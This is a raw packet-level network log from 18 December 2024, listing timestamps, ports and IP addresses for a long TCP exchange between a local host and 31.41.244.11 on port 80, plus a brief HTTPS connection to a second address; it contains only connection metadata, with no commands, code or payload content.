Dec 18, 2024 21:30:25.112395048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.112441063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.112550974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.112587929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.115641117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.115685940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.115825891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.115865946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.118828058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.118874073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.119014978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.119050980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.122104883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.122157097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.122220993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.122282982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.125283003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.125329018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.125389099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.125422955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.128211021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.128252983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.128309965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.128350019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.131181002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.131220102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.131337881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.131370068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.134110928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.134162903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.134299040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.134341955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.137151957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.137202978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.137249947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.137284994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.139949083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.139995098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.140031099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.140068054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.142720938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.142765045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.142921925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.142959118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.145754099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.145792961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.145859957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.145898104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.148474932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.148521900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.148726940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.148778915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.151439905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.151514053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.151571989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.151611090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.154144049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.154192924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.154397964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.154438972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.157021046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.157068968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.157181978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.157227039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.159868956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.159912109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.160053968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.160090923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.162765980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.162811041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.162930012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.162975073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.165569067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.165620089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.165699005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.165738106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.168349981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.168406963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.168535948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.168574095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.171256065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.171320915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.171437979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.171472073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.174295902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.174339056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.174438953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.174489975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.177432060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.177448988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.177474976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.177490950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.179980040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.180022955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.180174112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.180208921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.182821989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.182873011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.182980061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.183021069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.185493946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.185544014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.185657978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.185695887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.188366890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.188410044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.188528061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.188565016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.191207886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.191250086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.191375017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.191412926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.194057941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.194109917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.194221973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.194259882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.196922064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.196973085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.197078943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.197113991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.199848890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.199893951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.200077057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.200114012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.202652931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.202693939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.202801943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.202838898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.205487013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.205533981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.205688953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.205728054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.208406925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.208456039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.208595991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.208645105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.232836962 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:25.232886076 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:25.232959032 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:25.233366966 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:25.233380079 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:25.299498081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.299552917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.299647093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.299688101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.300704002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.300750017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.300920010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.300960064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.302512884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.302555084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.302836895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.302881002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.304866076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.304908037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.305057049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.305098057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.307167053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.307210922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.307410955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.307455063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.309465885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.309510946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.309631109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.309669018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.311693907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.311736107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.311872005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.311914921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.313942909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.313987017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.314114094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.314153910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.316314936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.316385031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.316420078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.316462994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.318315029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.318360090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.318416119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.318459034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.320343971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.320389986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.320563078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.320616961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.322446108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.322489977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.322649002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.322695017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.324515104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.324568033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.324697971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.324743032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.326515913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.326586962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.326714993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.326757908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.328563929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.328610897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.328732014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.328773975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.330512047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.330562115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.330806017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.330847979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.332568884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.332618952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.332684040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.332735062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.334511042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.334554911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.334881067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.334918976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.336386919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.336436987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.336570978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.336637974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.338350058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.338413000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.338507891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.338548899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.340327024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.340369940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.340526104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.340574980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.342288971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.342336893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.342458963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.342504025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.344276905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.344322920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.344455957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.344501019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.346260071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.346313953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.346395969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.346431971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.348129988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.348179102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.348309994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.348356962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.350044012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.350090981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.350233078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.350272894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.352154016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.352202892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.352271080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.352317095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.353883028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.353928089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.354062080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.354104996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.355853081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.355900049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.356008053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.356050014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.357809067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.357855082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.357964993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.358002901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.359803915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.359853983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.360027075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.360078096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.361768961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.361819029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.361989021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.362040043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.363706112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.363758087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.363893986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.363929987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.365878105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.365928888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.366506100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.366555929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.367609024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.367655993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.367736101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.367784977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.369523048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.369570017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.369712114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.369755030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.371496916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.371547937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.371612072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.371654034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.373420954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.373481989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.373609066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.373651028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.375427008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.375473976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.375544071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.375598907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.377429962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.377476931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.377567053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.377605915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.379287958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.379339933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.379535913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.379581928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.381547928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.381596088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.381714106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.381759882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.383366108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.383418083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.383555889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.383598089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.385178089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.385226965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.385348082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.385391951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.387033939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.387085915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.387172937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.387221098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.388942957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.388986111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.389075994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.389121056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.390896082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.390942097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.391113043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.391154051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.393304110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.393352032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.393462896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.393507957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.395018101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.395064116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.395163059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.395204067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.396780968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.396826982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.396970034 CET	80	49808	31.41.244.11	192.168.2.5
